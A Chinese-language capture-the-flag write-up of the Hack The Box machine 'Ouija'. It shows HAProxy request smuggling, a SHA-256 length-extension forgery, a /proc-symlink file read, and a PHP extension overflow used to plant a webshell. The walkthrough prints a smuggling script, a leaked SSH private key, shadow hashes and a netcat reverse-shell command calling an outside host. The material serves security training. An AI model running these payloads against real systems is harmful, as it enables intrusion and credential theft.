基本信息

端口扫描

22,80,3000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -sC -sV 10.10.11.244
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 13:30 CST
Nmap scan report for 10.10.11.244
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6f:f2:b4:ed:1a:91:8d:6e:c9:10:51:71:d5:7c:49:bb (ECDSA)
|_ 256 df:dd:bc:dc:57:0d:98:af:0f:88:2f:73:33:48:62:e8 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.08 seconds

80

直接访问是apache默认页面:

3000

直接访问是这个响应:

目录扫描

目录扫描发现80的server-status可以访问,以及3000端口那里一些端点:

1
2
3
4
5
6
7
8
9
10
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://10.10.11.244/

/server-status (Status: 200) [Size: 17257]

gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://10.10.11.244:3000/ --exclude-length 31

/Login (Status: 200) [Size: 42]
/login (Status: 200) [Size: 42]
/register (Status: 200) [Size: 26]
/users (Status: 200) [Size: 25]

server-status

可以看到一些请求记录,并且其中可以得到域名 ouija.htb:

users

直接访问提示缺少ihash header,测试添加后提示缺少identification header,添加identification后是token无效:

register

注册被禁用:

login

需要账号密码:

子域名扫描

根据前面得到的域名,添加hosts后扫描子域名:

1
10.10.11.244 ouija.htb

看起来是任意dev*的结果都是403,但响应时间有差异,过滤掉小于100毫秒的结果(自己根据实际情况调整)才是真的可用结果:

1
2
3
4
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://ouija.htb/" -H 'Host: FUZZ.ouija.htb' -fs 0,10671 -ft '<100'

[Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 255ms]
* FUZZ: dev

ouija.htb

基于web的管理系统:

并且根据记录,主站会尝试加载gitea那里的tracking.js,所以还存在一个gitea子域名:

dev.ouija.htb

被管理员规则禁止:

gitea.ouija.htb

gitea可以直接访问,探索里可以公开访问ouija-htb repo:

HA-Proxy

gitea repo中提到HA-Proxy版本2.2.16:

可以搜到存在请求走私:

请求走私

根据参考资料中的poc,尝试通过请求走私访问dev子域成功,注意需要关掉burp的自动内容长度更新,然后自己根据实际请求手动指定Content-Length:

根据结果可以看到通过editor.php去加载两个文件的请求,同样利用请求走私来进行请求:

init.sh

看起来是初始化api config的,应该是前面看到的3000端口那边的:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log

exit 1

app.js

根据代码,需要identification通过校验后才能使用管理员功能例如/file/get:

它以 base64 + 十六进制解码identification header,将其附加到key并获取 sha256 哈希值,如果它与通过 ihash header传递的哈希相匹配,则它可以工作

而key是从 .env 文件中获取的的, const key = process.env.k

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;

app.listen(3000, ()=>{ console.log("listening @ 3000"); });

function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}
function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}
function verify_cookies(identification, rhash){
if( ((generate_cookies(d(identification)))) === rhash){
return 0;
}else{return 1;}
}
function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}

if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin:True"))) {
r.json("Insufficient Privileges");
}
}

app.get("/login", (q,r,n) => {
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname and upass are required"});
}else{
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname && upass are required"});
}else{
r.json({"message":"disabled (under dev)"});
}
}
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
ensure_auth(q, r);
r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.includes("../")){
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});

LFI

然后根据上面的file参数,很容易想到LFI:

后面就是LFI读文件,手工每次更新Content-Length太麻烦了,队友给了脚本(用pwntools来处理发送请求走私所需的请求太妙了)

但并不能直接读到api那里所需的key,因为当前是在dev容器中

lfi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import socket
import sys
import re
import gzip

if len(sys.argv) < 2:
print("missing file param")
sys.exit()

file = sys.argv[1]

cl = len("GET http://dev.ouija.htb/editor.php?file=%s HTTP/1.1\r\nh:" % file)

payload = """POST / HTTP/1.1\r\nHost: ouija.htb\r\nContent-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\nContent-Length: %s\r\n\r\nGET http://dev.ouija.htb/editor.php?file=%s HTTP/1.1\r\nh:GET / HTTP/1.1\r\nHost: ouija.htb\r\n\r\n""" % (cl, file)

r = remote('ouija.htb', 80)
r.send(bytes(payload, 'utf-8'))

response = r.recvrepeat(1).decode('utf-8')

output = re.search(r'(?<=\<textarea name="content" id="content" cols="30" rows="10"\>)([\s\S]*?)(?=\</textarea\>)', response).group()
print(output)

哈希长度扩展

所以现有情况,我们知道所需的部分明文,以及目标hash,这种场景,哈希长度扩展攻击:

编译报错的话参考这个修改Makefile:

密钥长度未知,所以指定一个范围:

1
./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max 64

得到的New string 进行base64编码后作为identification,以及New signature作为ihash尝试请求api,最终得到一组有效的:

1
2
3
4
Type: sha256
Secret length: 23
New signature: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b
New string: 626f74313a626f748000000000000000000000000000000000000000000000000000000000000000f83a3a61646d696e3a54727565

得到的响应是正常的,前面app.js里也可以看到写死了这个响应:

LFI 2

然后根据前面app.js中代码,/file/get可以用来读取文件,但存在过滤,不能..开头

但init.sh里有一行ln -s /proc .config/bin/process_informations,所以我们可以利用这个软链接通过proc过去来读取其他文件

这时候读取environ可以获取到key了(前面读取不到是因为属于不同的容器),但现在也不需要了:

后面就一点点读文件,passwd获取用户名,然后去读私钥:

1
2
.config/bin/process_informations/self/root/etc/passwd
.config/bin/process_informations/self/root/home/leila/.ssh/id_rsa

leila_id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqdhNH4Q8tqf8bXamRpLkKKsPSgaVR1CzNR/P2WtdVz0Fsm5bAusP
O4ef498wXZ4l17LQ0ZCwzVj7nPEp9Ls3AdTFZP7aZXUgwpWF7UV7MXP3oNJ0fj26ISyhdJ
ZCTE/7Wie7lkk6iEtIa8O5eW2zrYDBZPHG0CWFk02NVWoGjoqpL0/kZ1tVtXhdVyd3Q0Tp
miaGjCSJV6u1jMo/uucsixAb+vYUrwlWaYsvgW6kmr26YXGZTShXRbqHBHtcDRv6EuarG5
7SqKTvVD0hzSgMb7Ea4JABopTyLtQSioWsEzwz9CCkJZOvkU01tY/Vd1UJvDKB8TOU2PAi
aDKaZNpDNhgHcUSFH4/1AIi5UaOrX8NyNYBirwmDhGovN/J1fhvinXts9FlzHKZINcJ99b
KkPln3e5EwJnWKrnTDzL9ykPt2IyVrYz9QmZuEXu7zdgGPxOd+HoE3l+Px9/pp32kanWwT
yuv06aVlpYqm9PrHsfGdyfsZ5OMG3htVo4/OXFrBAAAFgE/tOjBP7TowAAAAB3NzaC1yc2
EAAAGBAKnYTR+EPLan/G12pkaS5CirD0oGlUdQszUfz9lrXVc9BbJuWwLrDzuHn+PfMF2e
Jdey0NGQsM1Y+5zxKfS7NwHUxWT+2mV1IMKVhe1FezFz96DSdH49uiEsoXSWQkxP+1onu5
ZJOohLSGvDuXlts62AwWTxxtAlhZNNjVVqBo6KqS9P5GdbVbV4XVcnd0NE6ZomhowkiVer
tYzKP7rnLIsQG/r2FK8JVmmLL4FupJq9umFxmU0oV0W6hwR7XA0b+hLmqxue0qik71Q9Ic
0oDG+xGuCQAaKU8i7UEoqFrBM8M/QgpCWTr5FNNbWP1XdVCbwygfEzlNjwImgymmTaQzYY
B3FEhR+P9QCIuVGjq1/DcjWAYq8Jg4RqLzfydX4b4p17bPRZcxymSDXCffWypD5Z93uRMC
Z1iq50w8y/cpD7diMla2M/UJmbhF7u83YBj8Tnfh6BN5fj8ff6ad9pGp1sE8rr9OmlZaWK
pvT6x7Hxncn7GeTjBt4bVaOPzlxawQAAAAMBAAEAAAGAEJ9YvPLmNkIulE/+af3KUqibMH
WAeqBNSa+5WeAGHJmeSx49zgVPUlYtsdGQHDl0Hq4jfb8Zbp980JlRr9/6vDUktIO0wCU8
dY7IsrYQHoDpBVZTjF9iLgj+LDjgeDODuAkXdNfp4Jjtl45qQpYX9a0aQFThTlG9xvLaGD
fuOFkdwcGh6vOnacFD8VmtdGn0KuAGXwTcZDYr6IGKxzIEy/9hnagj0hWp3V5/4b0AYxya
dxr1E/YUxIBC4o9oLOhF4lpm0FvBVJQxLOG+lyEv6HYesX4txDBY7ep6H1Rz6R+fgVJPFx
1LaYaNWAr7X4jlZfBhO5WIeuHW+yqba6j4z3qQGHaxj8c1+wOAANVMQcdHCTUvkKafh3oz
4Cn58ZeMWq6vwk0vPdRknBn3lKwOYGrq2lp3DI2jslCh4aaehZ1Bf+/UuP6Fc4kbiCuNAR
dM7lG35geafrfJPo9xfngr44I8XmhBCLgoFO4NfpBSjnKtNa2bY3Q3cQwKlzLpPvyBAAAA
wErOledf+GklKdq8wBut0gNszHgny8rOb7mCIDkMHb3bboEQ6Wpi5M2rOTWnEO27oLyFi1
hCAc+URcrZfU776hmswlYNDuchBWzNT2ruVuZvKHGP3K3/ezrPbnBaXhsqkadm2el5XauC
MeaZmw/LK+0Prx/AkIys99Fh9nxxHcsuLxElgXjV+qKdukbT5/YZV/axD4KdUq0f8jWALy
rym4F8nkKwVobEKdHoEmK/Z97Xf626zN7pOYx0gyA7jDh1WwAAAMEAw9wL4j0qE4OR5Vbl
jlvlotvaeNFFUxhy86xctEWqi3kYVuZc7nSEz1DqrIRIvh1Anxsm/4qr4+P9AZZhntFKCe
DWc8INjuYNQV0zIj/t1mblQUpEKWCRvS0vlaRlZvX7ZjCWF/84RBr/0Lt3t4wQp44q1eR0
nRMaqbOcnSmGhvwWaMEL73CDIvzbPK7pf2OxsrCRle4BvnEsHAG/qlkOtVSSerio7Jm7c0
L45zK+AcLkg48rg6Mk52AzzDetpNd5AAAAwQDd/1HsP1iVjGut2El2IBYhcmG1OH+1VsZY
UKjA1Xgq8Z74E4vjXptwPumf5u7jWt8cs3JqAYN7ilsA2WymP7b6v7Wy69XmXYWh5RPco3
ozaH3tatpblZ6YoYZI6Aqt9V8awM24ogLZCaD7J+zVMd6vkfSCVt1DHFdGRywLPr7tqx0b
KsrdSY5mJ0d004Jk7FW+nIhxSTD3nHF4UmLtO7Ja9KBW9e7z+k+NHazAhIpqchwqIX3Io6
DvfM2TbsfLo4kAAAALbGVpbGFAb3VpamE=
-----END OPENSSH PRIVATE KEY-----

user flag

使用得到的私钥登录:

提权信息

基础枚举发现本地9999端口,查看代码发现say_lverifier没有在php文件中定义,进一步发现自定义的php扩展,下载下来分析,可以发现相关函数在so中

1
2
/development/server-management_system_id_0
/usr/lib/php/20220829/lverifier.so

然后在验证用户输入后调用event_recorder写入日志文件:

整数溢出

这部分是作者给了提示, 首先找到一个整数溢出,这会给你带来缓冲区溢出,然后调试扩展以跟踪执行/并检查堆栈

可以看到username的目标nu缓冲区分配了800,但输入并没有限制,使用size_t类型来保存username的size,这个最大值65535,所以整数溢出应该是这部分

(静态分析就看个大概就行,知道整数溢出后面结合调试就都是基础内容)

debug

本地安装so,调试

1
2
3
4
5
6
7
8
9
sudo cp lverifier.so /usr/lib/php/20220829
sudo chmod +x /usr/lib/php/20220829/lverifier.so
sudo nano /etc/php/8.2/mods-available/lverifier.ini
# 添加这行到lverifier.ini
extention=lverifier.so
# 修改php.ini,启用dl
enable_dl = On
# 安装gef
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

环境配置完成后,进入调试部分,根据调试和静态分析结果知道是会读取shadow文件,验证用户名密码,并且会产生/var/log/lverifier.log文件,写入日志信息:

1
2
3
4
5
6
7
8
sudo gdb php
(gdb) run -a
php > dl('lverifier.so');
php > var_dump(say_lverifier('aaaa', 'bbbb'));
php > $u = str_repeat('A', 4096000);
php > $x = say_lverifier($u, 'world');
# crash
gef➤ b event_recorder

之后常规的生成数据计算偏移,再次运行,发现我们可以覆盖event_recorder的两个参数:

1
pwn cyclic 65538

计算可以知道,控制的event_recorder参数:

1
2
3
4
# 第一个参数,即写入日志路径
username[16:800]
# 第二个参数,即写入日志文件的内容
username[128:800]

文件写入

然后根据结果修改输入的username,验证可以在任意路径写入任意文件:

1
2
3
'/'*795+'/test' + padding
php > $u = '////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////test'.str_repeat('A', 64738);
php > $x = say_lverifier($u, 'world');

webshell

现在就是能控制日志文件路径,并且日志内容也是路径的后面大部分,那如何进一步利用,例如获取webshell呢

也很简单,如果我们创建一个目录名是php代码的目录,然后修改对应的输入并且跳转最终写入php文件到web目录,这样最终写入的日志中也包含我们的目录名即php代码:

1
2
3
4
5
6
7
8
leila@ouija:~$ mkdir "/tmp/miao/<?=\`\$_GET[0]\`?>"
leila@ouija:~$ ls /tmp/miao

a = '/tmp/miao/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/index.php'
>>> len(a)
86

'/'*714 + a + 'A'*64738

最终payload作为用户名发送,验证webshell生成成功:

test.php

调试用的php文件:

1
2
3
4
5
6
7
8
9
<?php
$extPath = ini_get("extension_dir");
print "Extension Dir: " . $extPath . "\n";
dl('lverifier.so');
$u = str_repeat('A', 4096000);
$x = say_lverifier($u, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>

root flag

写入webshell成功后就随意执行命令了:

1
http://127.0.0.1:9999/miao.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.6%204444%20%3E%2Ftmp%2Ff

shadow

1
2
root:$y$j9T$Kg/bsxGg3rtmr7d.HkQ0N/$14XejevAukcx9oDmYsXF967olH7um9buAQ3wSGdOCy8:19677:0:99999:7:::
leila:$y$j9T$4G./NwKdILbVGJTvpqros.$Oo7YxsUIGIwiSGpQJdWPCLU1gYw/ECzIbN9wJI/14K5:19534:0:99999:7:::

参考资料